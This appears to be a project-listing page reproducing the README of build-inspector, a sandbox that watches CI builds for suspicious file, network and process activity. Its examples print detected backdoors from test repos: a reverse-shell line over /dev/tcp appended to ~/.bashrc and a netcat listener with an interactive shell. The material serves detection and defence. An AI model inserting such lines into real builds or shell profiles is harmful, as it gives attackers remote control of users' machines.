All Projects → srcclr → build-inspector

srcclr / build-inspector

Licence: Apache-2.0 license
Inspect your builds to look for changes in filesystem, network traffic and running processes.

Programming Languages

ruby
36898 projects - #4 most used programming language
HTML
75241 projects
shell
77523 projects
java
68154 projects - #9 most used programming language

Projects that are alternatives of or similar to build-inspector

Kubernetes Vagrant Centos Cluster
Setting up a distributed Kubernetes cluster along with Istio service mesh locally with Vagrant and VirtualBox, only PoC or Demo use.
Stars: ✭ 1,750 (+14483.33%)
Mutual labels:  vagrant, vagrantfile
kubeadm-vagrant
Setup Kubernetes Cluster with Kubeadm and Vagrant
Stars: ✭ 49 (+308.33%)
Mutual labels:  vagrant, vagrantfile
kubernetes-cluster
Vagrant As Automation Script
Stars: ✭ 34 (+183.33%)
Mutual labels:  vagrant, vagrantfile
vagrant-r10k
UNSUPPORTED - SEEKING MAINTAINER - Vagrant middleware plugin to retrieve puppet modules using r10k.
Stars: ✭ 36 (+200%)
Mutual labels:  vagrant, vagrantfile
sig-windows-dev-tools
This is a batteries included local development environment for Kubernetes on Windows.
Stars: ✭ 52 (+333.33%)
Mutual labels:  vagrant, vagrantfile
Vagrantfile
Vagrant 配置示例
Stars: ✭ 50 (+316.67%)
Mutual labels:  vagrant, vagrantfile
insaneworks-packer-template
CentOS 7-8 8Stream / AlmaLinux 8 / FreeBSD 12 - 13 x64 + VirtualBox / VMWare for Packer Template + FreeBSD 13 / AlmaLinux 9 + Parallels
Stars: ✭ 38 (+216.67%)
Mutual labels:  vagrant, vagrant-virtual-machine
vagrant-ids
An Ubuntu 16.04 build containing Suricata, PulledPork, Bro, and Splunk
Stars: ✭ 21 (+75%)
Mutual labels:  vagrant, vagrantfile
Detectionlab
Automate the creation of a lab environment complete with security tooling and logging best practices
Stars: ✭ 3,237 (+26875%)
Mutual labels:  vagrant, vagrantfile
packer-centos
Create CentOS images for different hypervisors with Packer
Stars: ✭ 18 (+50%)
Mutual labels:  vagrant
vagrant-jenkins
Vagrant box running Ubuntu with an installed Jenkins instance
Stars: ✭ 39 (+225%)
Mutual labels:  vagrant
RHCSA ENV
An environment to prepare for the RHCSA certification, mainly automates server side installation of samba and NFS (RHCSA deals only with the client side)
Stars: ✭ 28 (+133.33%)
Mutual labels:  vagrant
django-angular2-fullstack-devops
All-in-one django/angular2 seed with cli interface for multi-environment devops on aws using ansible/packer/terraform
Stars: ✭ 54 (+350%)
Mutual labels:  vagrant
k8s-all-in-one
Create a All-in-one Kubernetes Cluster.
Stars: ✭ 35 (+191.67%)
Mutual labels:  vagrant
vagrant-magento
**DEPRECATED**
Stars: ✭ 12 (+0%)
Mutual labels:  vagrant
Vagrant-Tutorial
Supporting repository for a Vagrant and Ansible tutorial
Stars: ✭ 32 (+166.67%)
Mutual labels:  vagrant
G-Code-Arduino-Library
Allows any machines and robots to be controlled by G-Code
Stars: ✭ 44 (+266.67%)
Mutual labels:  machine
drupalci-sonar-jenkins
DEPRECATED - Drupal CI environment with SonarQube and Jenkins for Drupal Core code analysis.
Stars: ✭ 40 (+233.33%)
Mutual labels:  vagrant
vscode-gcode-syntax
G Code Language Extension for Visual Studio Code. Turn VSCode into a fully capable G-Code editor, including language support & more.
Stars: ✭ 59 (+391.67%)
Mutual labels:  machine
phpell
[ABANDONED] Vagrant VM with bash(shell) provision for PHP development
Stars: ✭ 26 (+116.67%)
Mutual labels:  vagrant

Build Inspector

Build Inspector is a forensic sandbox for Continuous Integration environments. Ever wonder what's happening during your builds? Build Inspector monitors network activity, file system changes, and running processes, making it easier to spot unintended and potentially dangerous activities. Using a sandboxed environment, build operations will happen in isolation without compromising the machine.

Requirements

Once those are installed, add the Sahara Vagrant plugin and bundle install this project's dependencies:

vagrant plugin install sahara
git clone https://github.com/sourceclear/build-inspector.git
bundle install

Running

Once you're set up, you'll work with Build Inspector from inside the repository's directory:

cd build_inspector

Build Inspector does not manage Vagrant for you, so you'll need to do that yourself. The first time you use it, you'll need to start Vagrant and build the image:

vagrant up

Once vagrant is started, save a snapshot with:

vagrant sandbox on

Usage

Usage inspector [options] <git repo path>
    -h, --help                       Display this screen
    -n, --no-rollback                Do not roll back the virtual machine state after running
    -v, --verbose                    Be verbose
    -c, --config <PATH>              Use configuration file at <PATH>, default=config.yml
    -p, --process <PATH>             Only process evidence at <PATH>
    -b, --branch <BRANCH>            Clone <BRANCH> from repository URL
        --url                        Git repo path is a URL
        --gem                        Perform a GEM based build
        --gradle                     Perform a Gradle based build
        --maven                      Perform a Maven based build
        --npm                        Perform a NPM based build

Gradle Example

./inspector --gradle test-repos/TotallyLegitApp --script=insecure_network_finder

The above project has a task called backdoor that adds a reverse connect shell to ~/.bashrc.

After running, you should see this at the bottom of the output:

changed: ~/.bashrc
--- /backup/root/.bashrc	2014-02-19 21:43:56.000000000 -0500
+++ /root/.bashrc	2015-11-08 13:07:40.579626388 -0500
@@ -97,3 +97,5 @@
 #if [ -f /etc/bash_completion ] && ! shopt -oq posix; then
 #    . /etc/bash_completion
 #fi
+
+bash -c "bash -i>&/dev/tcp/localhost/1337 0>&1 &disown"&>/dev/null

In addition, you'll have a file that looks like evidence-TotallyLegitApp-201523110032412.zip which has all the network and process activity, file system changes, and any new processes.

Bundler Example

./inspector --gem test-repos/harmless-project --script=insecure_network_finder

This bundler project has a gem that pings Google during its installation.

Run it with Build Inspector and you'll see a list of domains that the machine tried to connect to.

Hosts contacted:
  www.google.com (74.125.224.113)                                    1.3K

NPM Example

./inspector --npm test-repos/ann-pee-am --script=insecure_network_finder

Inspecting this NPM project should yield the following output:

The following processes were running during the build:
  - /bin/sh -i
  - nc -l 0.0.0.0 8080

That's because the NPM project depends on a module that opens a persistent backdoor using netcat.

Configuration

Build Inspector monitors all network and file system activities. To ignore hosts or exclude directories from the monitoring, create and add a config.yml in the repository that looks like this:

---

commands: bundle install --jobs 2

host_whitelist:
  - 10.0.2.2 # Vagrant's IP
  - 8.8.8.8 # Ignore DNS
  - bundler.rubygems.org
  - rubygems.global.ssl.fastly.net
  - rubygems.org

evidence_files:
  exclude:
    - /home/vagrant/.gem
  include:
    - /etc

There are examples for different build systems in the configs directory. You may copy the appropriate configs for your build system to the root of this project or you can write one from scratch.

Reporting Suspicious Builds

Help us understand what threats are out there in the wild by submitting any suspicious builds you encounter. This helps us protect against emerging threats, and ensure they're more widely known.

To submit a suspicious build, just click this link to create a new issue: Suspicious Build Issue Submission.

Then just drag the evidence zip file to the issue you just created to attach it. Thanks in advance!

Troubleshooting

If you're having a problem, try running rake vagrant:test and ensure your environment is setup correctly.

Gradle Build Fails with java.lang.OutOfMemoryError

A build may work on the host machine but fail with BuildInspector because the Vagrant virtual machine has less memory available than the host machine. There are two ways to work around this issue.

Option 1: Modify Vagrantfile

This is the most direct option. This file is used to setup some properties of the virtual machine. The relevant section is:

config.vm.provider 'virtualbox' do |vb|
  vb.customize ['modifyvm', :id, '--natdnsproxy1', 'off']
  vb.customize ['modifyvm', :id, '--natdnshostresolver1', 'off']
  vb.memory = 1024
end

Simply adjust vb.memory = 1024 to some other number such as vb.memory = 2000 then rebuild the machine with rake vagrant:rebuild. The Java VM determines heap space as a portion of total memory available. Increasing the memory will also increase the heap space.

Option 2: Adjust Java VM Heap Size

If you're unable to adjust the memory requirements for the Vagrant virtual machine, you can try to tell Gradle to tell the Java VM to allocate more heap space. This can be done by adding the following command to your configuration:

echo org.gradle.jvmargs=-Xmx2G >> gradle.properties

For example, gradle.yml is:

commands: gradle build

After adding this command it would be:

commands:
  - echo org.gradle.jvmargs=-Xmx2G >> gradle.properties
  - gradle build

Development

When you want to experiment, just do: vagrant sandbox on

Then, make all the changes you want to the image. If you'd like to save the changes, do: vagrant sandbox commit

Otherwise, you can wipe out the changes with: vagrant sandbox rollback

There are also a number of Rake tasks:

rake vagrant:commit    # Commits the machine's state
rake vagrant:destroy   # Destroy Vagrant image
rake vagrant:halt      # Gracefully stop Vagrant
rake vagrant:rebuild   # Equivalent to a `vagrant destroy && vagrant up`
rake vagrant:reload    # Equivalent to a `vagrant halt && vagrant up`
rake vagrant:rollback  # Restores the previously committed machine state
rake vagrant:test      # Check environment to determine if build-inspector should work
rake vagrant:up        # Start Vagrant
rake vagrant:update    # Upgrade Vagrant image
Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].